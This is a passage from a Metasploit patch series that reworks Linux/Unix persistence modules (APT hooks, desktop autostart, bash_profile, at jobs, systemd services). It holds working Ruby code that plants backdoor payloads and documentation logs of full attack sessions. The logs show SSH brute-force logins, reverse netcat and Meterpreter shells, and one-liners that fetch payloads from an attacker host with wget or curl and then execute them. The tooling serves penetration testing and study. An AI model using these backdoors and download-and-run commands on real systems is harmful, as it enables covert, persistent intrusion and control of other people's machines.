cmd/linux/http/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4444 + +[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > +``` + +Run `sudo apt-get update` on the target. + +``` +[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.22 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.22 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:49804) at 2025-02-04 17:43:06 -0500 + +[msf](Jobs:2 Agents:2) exploit(linux/persistence/apt_package_manager) > sessions -i 2 +[*] Starting interaction with 2... + +(Meterpreter 2)(/tmp) > sysinfo +Computer : 222.222.2.22 +OS : Ubuntu 22.04 (Linux 5.15.0-48-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 2)(/tmp) > +``` + +#### Cleanup + +``` +(Meterpreter 2)(/tmp) > resource /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc +[*] Processing /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc for ERB directives. +resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /etc/apt/apt.conf.d/76skoGqswo +resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /tmp/erNOJV96u +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/persistence/linux/autostart.md b/documentation/modules/exploit/linux/persistence/autostart.md similarity index 100% rename from documentation/modules/exploit/linux/persistence/linux/autostart.md rename to documentation/modules/exploit/linux/persistence/autostart.md diff --git a/documentation/modules/exploit/linux/persistence/linux/bash_profile.md b/documentation/modules/exploit/linux/persistence/bash_profile.md similarity index 100% rename from documentation/modules/exploit/linux/persistence/linux/bash_profile.md rename to documentation/modules/exploit/linux/persistence/bash_profile.md diff --git a/documentation/modules/exploit/linux/persistence/linux/cron.md b/documentation/modules/exploit/linux/persistence/cron.md similarity index 100% rename from documentation/modules/exploit/linux/persistence/linux/cron.md rename to documentation/modules/exploit/linux/persistence/cron.md diff --git a/documentation/modules/exploit/linux/persistence/linux/apt_package_manager.md b/documentation/modules/exploit/linux/persistence/linux/apt_package_manager.md deleted file mode 100644 index d2beec8e8ba3..000000000000 --- a/documentation/modules/exploit/linux/persistence/linux/apt_package_manager.md +++ /dev/null @@ -1,66 +0,0 @@ -## Description - -This module will run a payload when the package manager is used. No -handler is ran automatically so you must configure an appropriate -exploit/multi/handler to connect. This module creates a pre-invoke hook -for APT in apt.conf.d. The hook name syntax is numeric followed by text. - -## Verification Steps - -1. Exploit a box that uses APT -2. `use linux/local/apt_package_manager_persistence` -3. `set SESSION ` -4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed -5. `exploit` - -When the system runs apt-get update the payload will launch. You must set handler accordingly. - -## Options - -**BACKDOOR_NAME** - -Name of backdoor executable - -**HOOKNAME** - -Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text. - -**WritableDir** - -Writable directory for backdoor default is (/usr/local/bin/) - -## Scenarios - -### Tested on Ubuntu 18.04.2 LTS - -``` -msf5 > use exploit/linux/local/apt_package_manager_persistence -msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444 -[*] Payload handler running as background job 0. -msf5 exploit(linux/local/apt_package_manager_persistence) > -[*] Started reverse TCP handler on 172.22.222.136:4444 -[*] Sending stage (985320 bytes) to 172.22.222.130 -[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500 - -msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1 -session => 1 -msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp -payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136 -lhost => 172.22.222.136 -msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444 -lport => 4444 -msf5 exploit(linux/local/apt_package_manager_persistence) > exploit - -[*] Attempting to write hook: -[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd -[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9 -[*] Backdoor will run on next APT update -msf5 exploit(linux/local/apt_package_manager_persistence) > -[*] Sending stage (985320 bytes) to 172.22.222.130 -[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500 - -msf5 exploit(linux/local/apt_package_manager_persistence) > -``` - -Note: Second session comes in after running `apt update` on the remote host diff --git a/documentation/modules/exploit/linux/persistence/linux/motd.md b/documentation/modules/exploit/linux/persistence/motd.md similarity index 100% rename from documentation/modules/exploit/linux/persistence/linux/motd.md rename to documentation/modules/exploit/linux/persistence/motd.md diff --git a/documentation/modules/exploit/linux/persistence/linux/rc_local.md b/documentation/modules/exploit/linux/persistence/rc_local.md similarity index 100% rename from documentation/modules/exploit/linux/persistence/linux/rc_local.md rename to documentation/modules/exploit/linux/persistence/rc_local.md diff --git a/documentation/modules/exploit/linux/persistence/linux/sshkey.md b/documentation/modules/exploit/linux/persistence/sshkey.md similarity index 100% rename from documentation/modules/exploit/linux/persistence/linux/sshkey.md rename to documentation/modules/exploit/linux/persistence/sshkey.md diff --git a/documentation/modules/exploit/linux/persistence/linux/yum_package_manager.md b/documentation/modules/exploit/linux/persistence/yum_package_manager.md similarity index 100% rename from documentation/modules/exploit/linux/persistence/linux/yum_package_manager.md rename to documentation/modules/exploit/linux/persistence/yum_package_manager.md diff --git a/lib/msf/core/post/linux/user.rb b/lib/msf/core/post/linux/user.rb new file mode 100644 index 000000000000..7dd02aa7d3df --- /dev/null +++ b/lib/msf/core/post/linux/user.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- + +module Msf + class Post + module Linux + module User + # + # Returns a string of the user's home directory + # + def get_home_dir(user) + cmd_exec("/bin/cat /etc/passwd | grep '^#{user}:' | cut -d ':' -f 6").chomp + # could also be: "getent passwd #{user} | cut -d: -f6" + end + # User + end + # Linux + end + # Post + end + # Msf +end diff --git a/modules/exploits/linux/persistence/apt_package_manager.rb b/modules/exploits/linux/persistence/apt_package_manager.rb index 0d979840128f..1f715c51c598 100644 --- a/modules/exploits/linux/persistence/apt_package_manager.rb +++ b/modules/exploits/linux/persistence/apt_package_manager.rb @@ -62,15 +62,18 @@ def initialize(info = {}) OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/']) ] ) + + deregister_options('WritableDir') end def check + return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get') return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH']) return CheckCode::Safe("#{datastore['WritableDir']} not found") unless exists?(datastore['WritableDir']) return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable?(datastore['WritableDir']) - CheckCode::Detected + CheckCode::Appears("#{datastore['HOOKPATH']} and #{datastore['WritableDir']} are writable, also found apt-get.") end def install_persistence diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index 10cb575de1d7..09e40f6d1cb0 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Post::Linux::User include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated @@ -27,20 +28,26 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], 'Payload' => { - 'BadChars' => '#%\n"', - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic python netcat perl' - } + 'BadChars' => '#%\n"' }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'References' => [ - ['URL', 'https://attack.mitre.org/techniques/T1547/013/'] + ['URL', 'https://attack.mitre.org/techniques/T1547/013/'], + ['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'], ], 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -50,41 +57,67 @@ def initialize(info = {}) ) ) - register_options([ OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]) ]) - deregister_options('WritableDir') + register_options([ + OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]), + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), + ]) end def check # https://unix.stackexchange.com/a/237750 - unless command_exists?('Xorg') - return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') - end + return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg') CheckCode::Detected('Xorg is installed, possible desktop install.') end - def install_persistence - name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8) - - home = cmd_exec('echo ~') + def target_user + return datastore['USER'] unless datastore['USER'].blank? - path = "#{home}/.config/autostart/#{name}.desktop" + whoami + end - print_status('Making sure the autostart directory exists') + def install_persistence + print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + user = target_user + home = get_home_dir(user) + vprint_status('Making sure the autostart directory exists') cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists + name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8) + path = "#{home}/.config/autostart/#{name}.desktop" + print_status("Uploading autostart file #{path}") - write_file(path, [ + autostart_stub = [ '[Desktop Entry]', 'Type=Application', "Name=#{name}", 'NoDisplay=true', - 'Terminal=false', - "Exec=/bin/sh -c \"#{payload.encoded}\"" - ].join("\n")) + 'Terminal=false' + ] + + if payload.arch.first == 'cmd' + write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n")) + else + backdoor_path = datastore['WritableDir'] + backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/" + backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + backdoor_path << backdoor_name + print_status("Uploading payload file to #{backdoor_path}") + write_file(backdoor_path, generate_payload_exe) + write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n")) + @clean_up_rc << "rm #{backdoor_path}\n" + end + + if whoami != user + cmd_exec("chown #{user}:#{user} #{path}") + unless payload.arch.first == 'cmd' + cmd_exec("chown #{user}:#{user} #{backdoor_path}") + end + end - print_good("Backdoor will run on next login by #{whoami}") + print_good("Backdoor will run on next login by #{user}") @clean_up_rc << "rm #{path}\n" end diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index 517e74d175de..3eea6ccdb71f 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -92,6 +92,7 @@ def install_persistence # upload persistent payload to target and make executable (chmod 700) backdoor_path = datastore['WritableDir'] + backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/" backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) backdoor_path << backdoor_name upload_and_chmodx(backdoor_path, payload.encoded) From 78c7a96c452559654405395fab3e1bf5504c15f6 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 5 Feb 2025 20:47:04 -0500 Subject: [PATCH 69/94] working on autostart --- modules/exploits/linux/persistence/autostart.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index 09e40f6d1cb0..b52df75b649f 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::FileDropper include Msf::Post::Linux::User include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck @@ -24,6 +26,10 @@ def initialize(info = {}) The payload will be executed when the users logs in. Verified on Ubuntu 22.04 desktop with Gnome + # working payload: cmd/unix/reverse_netcat + # working payload: linux/x64/meterpreter/reverse_tcp + # failing payload: cmd/linux/http/x64/meterpreter/reverse_tcp + # fetches failing? it does the connection back, but then doens't execute... }, 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], @@ -105,7 +111,7 @@ def install_persistence backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) backdoor_path << backdoor_name print_status("Uploading payload file to #{backdoor_path}") - write_file(backdoor_path, generate_payload_exe) + upload_and_chmodx backdoor_path, generate_payload_exe write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n")) @clean_up_rc << "rm #{backdoor_path}\n" end From a935ce0a53552973889db3d05281b2dcc0a48665 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 6 Feb 2025 16:53:47 -0500 Subject: [PATCH 70/94] at(1) working --- .../linux/local/service_persistence.md | 305 ------------------ .../modules/exploit/multi/persistence/at.md | 122 +++++++ .../exploit/unix/persistence/unix/at.md | 32 -- .../{unix => multi}/persistence/at.rb | 9 +- 4 files changed, 129 insertions(+), 339 deletions(-) delete mode 100644 documentation/modules/exploit/linux/local/service_persistence.md create mode 100644 documentation/modules/exploit/multi/persistence/at.md delete mode 100644 documentation/modules/exploit/unix/persistence/unix/at.md rename modules/exploits/{unix => multi}/persistence/at.rb (87%) diff --git a/documentation/modules/exploit/linux/local/service_persistence.md b/documentation/modules/exploit/linux/local/service_persistence.md deleted file mode 100644 index 46d920043406..000000000000 --- a/documentation/modules/exploit/linux/local/service_persistence.md +++ /dev/null @@ -1,305 +0,0 @@ -### Creating A Testing Environment - - This module has been tested against: - -1. Kali 2.0 (System V) -2. Ubuntu 14.04 (Upstart) -3. Ubuntu 16.04 (systemd) -4. Ubuntu 16.04 (systemd user) -5. Centos 5 (System V) -6. Fedora 18 (systemd) -7. Fedora 20 (systemd) - -## Verification Steps - - 1. Start msfconsole - 2. Exploit a box via whatever method - 3. Do: `use exploit/linux/local/service_persistence` - 4. Do: `set session #` - 5. Do: `set verbose true` - 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. - 8. Do: `set lhost` - 9. Do: `exploit` - 10. Do: `use exploit/multi/handler` - 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 12. Do: `set lhost` - 13. Do: `exploit -j` - 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec - 15. Get Shell - -## Options - -**target** - - There are several targets selectable, which all have their own issues. - -0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries -1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err -2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. -3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. - -**BACKDOOR_PATH** - - If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin - -**SERVICE** - - The name of the service to create. If not chosen, a 7 character random one is created. - -**SHELL_NAME** - - The name of the file to write with our shell. If not chosen, a 5 character random one is created. - -## Scenarios - -### System V (Centos 5 - root - chkconfig) - -Get initial access - - msf > use auxiliary/scanner/ssh/ssh_login - msf auxiliary(ssh_login) > set rhosts 192.168.199.131 - rhosts => 192.168.199.131 - msf auxiliary(ssh_login) > set username root - username => root - msf auxiliary(ssh_login) > set password centos - password => centos - msf auxiliary(ssh_login) > exploit - - [*] 192.168.199.131:22 SSH - Starting bruteforce - [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' - [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set BACKDOOR_PATH /bin - BACKDOOR_PATH => /bin - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /bin/GUIJc - [*] Max line length is 65537 - [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf - [*] Utilizing System_V - [*] Utilizing chkconfig - [*] Writing service: /etc/init.d/HqdezBF - [*] Max line length is 65537 - [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf - [*] Enabling & starting our service - [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 - -Reboot the box to prove persistence - - reboot - ^Z - Background session 2? [y/N] y - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(handler) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 - - -### Upstart (Ubuntu 14.04.4 Server - root) -Of note, I allowed Root login via SSH w/ password only to gain easy initial access - -Get initial access - - msf auxiliary(ssh_login) > exploit - - [*] 10.10.60.175:22 SSH - Starting bruteforce - [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' - [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (Upstart) - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(service_persistence) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Writing backdoor to /usr/local/bin/bmmjv - [*] Max line length is 65537 - [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf - [*] Utilizing Upstart - [*] Writing /etc/init/Hipnufl.conf - [*] Max line length is 65537 - [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf - [*] Starting service - [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log - [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 - -And now, we can kill the callback shell from our previous session - - ^Z - Background session 5? [y/N] y - msf exploit(service_persistence) > sessions -i 1 - [*] Starting interaction with 1... - - netstat -antp | grep 4444 - tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash - tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python - kill 1783 - [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError - kill 1789 - -Now with a multi handler, we can catch Upstart restarting the process every 10sec - - msf > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(handler) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(handler) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 - - -### systemd (Ubuntu 16.04 Server - root) -Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. -While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. - -Get initial access - - msf exploit(handler) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /usr/local/bin/JSRCF - [*] Max line length is 65537 - [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf - [*] Utilizing systemd - [*] /lib/systemd/system/YelHpCx.service - [*] Max line length is 65537 - [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf - [*] Enabling service - [*] Starting service - [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 - - ^Z - Background session 7? [y/N] y - -Kill the process on the Ubuntu target box via local access #good_admin - - root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 - tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc - root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 - -And logically, we lose our shell - - [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError - -Now with a multi handler, we can catch systemd restarting the process every 10sec - - - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > show options - - Module options (exploit/multi/handler): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.199.128 yes The listen address - LPORT 4444 yes The listen port - - Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 - -### systemd user (Ubuntu 16.04 Server - vagrant) - - msf5 exploit(linux/local/service_persistence) > options - - Module options (exploit/linux/local/service_persistence): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BACKDOOR_PATH /tmp yes Writable path to put our shell - SERVICE no Name of service to create - SESSION yes The session to run this module on - SHELL_NAME no Name of shell file to write - - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 172.28.128.1 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - - Exploit target: - - Id Name - -- ---- - 4 systemd user - - - msf5 exploit(linux/local/service_persistence) > run - - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.28.128.1:4444 - [*] Writing backdoor to /tmp/PPpCF - [*] Max line length is 65537 - [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf - [*] Creating user service directory - [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service - [*] Max line length is 65537 - [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf - [*] Reloading manager configuration - [*] Enabling service - [*] Starting service: OzzdRBC - [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 - - id - uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) - uname -a - Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/multi/persistence/at.md b/documentation/modules/exploit/multi/persistence/at.md new file mode 100644 index 000000000000..0fe884cae9b8 --- /dev/null +++ b/documentation/modules/exploit/multi/persistence/at.md @@ -0,0 +1,122 @@ +## Vulnerable Application + +This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box +with any UNIX-like operating system with `atd` running. + +### OSX + +In the case of OS X, the `atrun` service must be launched: + +``` +sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist +``` + +### Kali + +`at` isn't installed by default. `sudo apt-get install at`. + +## Verification Steps + +1. Start msfconsole +2. Exploit a box via whatever method +3. Do: `use exploit/multi/persistence/at` +4. Do: `set session #` +5. `exploit` + + +## Options + + **TIME** + + When to run job via `at(1)`. Conforms to timespec. Examples can be found in the module's references. + +## Scenarios + +### Kali Linux + +Original shell + +``` +[*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives. +resource (/home/mtcyr/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/home/mtcyr/.msf4/msfconsole.rc)> setg lhost 192.168.10.144 +lhost => 192.168.10.144 +resource (/home/mtcyr/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/home/mtcyr/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/home/mtcyr/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/home/mtcyr/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/home/mtcyr/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/home/mtcyr/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 192.168.10.144:4545 +[*] Using URL: http://192.168.10.144:8181/PaulWjhBSpRlqAz +[*] Server started. +[*] Run the following command on the target machine: +wget -qO o20dAbhk --no-check-certificate http://192.168.10.144:8181/PaulWjhBSpRlqAz; chmod +x o20dAbhk; ./o20dAbhk& disown +[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) > +[*] 192.168.10.144 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.10.144 +[*] Meterpreter session 1 opened (192.168.10.144:4545 -> 192.168.10.144:42442) at 2025-02-06 11:40:00 -0500 + +[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/tmp) > sysinfo +Computer : 192.168.10.144 +OS : Debian (Linux 6.11.2-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/tmp) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set time "now +10 minutes" +time => now +10 minutes +[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set session 1 +session => 1 +[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > exploit +[*] Command to run on remote host: curl -so ./tmoAoATss http://192.168.10.144:8080/aZRe4yWUN3U2-lDtdsaGlA;chmod +x ./tmoAoATss;./tmoAoATss& +[*] Exploit running as background job 2. +[*] Exploit completed, but no session was created. + +[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > [*] Fetch handler listening on 192.168.10.144:8080 +[*] HTTP server started +[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA +[*] Started reverse TCP handler on 192.168.10.144:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism +[*] Writing payload to /tmp//YneHFC +[*] Waiting for execution +[*] Meterpreter-compatible Cleaup RC file: /home/mtcyr/.msf4/logs/persistence/192.168.10.144_20250206.4241/192.168.10.144_20250206.4241.rc + +[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > date +[*] exec: date + +Thu Feb 6 11:42:44 AM EST 2025 +[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > +[*] Client 192.168.10.144 requested /aZRe4yWUN3U2-lDtdsaGlA +[*] Sending payload to 192.168.10.144 (curl/8.11.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.10.144 +[*] 